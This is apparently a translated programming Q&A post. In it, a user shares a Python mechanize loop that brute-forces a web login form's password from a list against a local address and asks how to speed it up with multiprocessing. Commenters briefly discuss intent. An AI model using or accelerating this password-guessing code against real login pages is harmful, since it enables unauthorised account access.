我有一个使用python mechanize和bruteforce html格式的脚本。这是一个for循环,用于检查“PassList”中的每个密码,并通过检查重定向的url来运行,直到它与当前密码匹配。我如何能实现这里如何在for循环中使用多处理 - python
for x in PasswordList:
br.form['password'] = ''.join(x)
print "Bruteforce in progress.. checking : ",br.form['password']
response=br.submit()
if response.geturl()=="http://192.168.1.106/success.html":
#url to which the page is redirected after login
print "\n Correct password is ",''.join(x)
break
我想这不是为了恶意目的,我的意思是,它不够复杂,真的有效,如果目标已验证,它将无法正常工作。 – PyNico
感谢您的回复。这只是为了测试目的没有什么恶意的,这里br = mechanize.Browser() – Susmith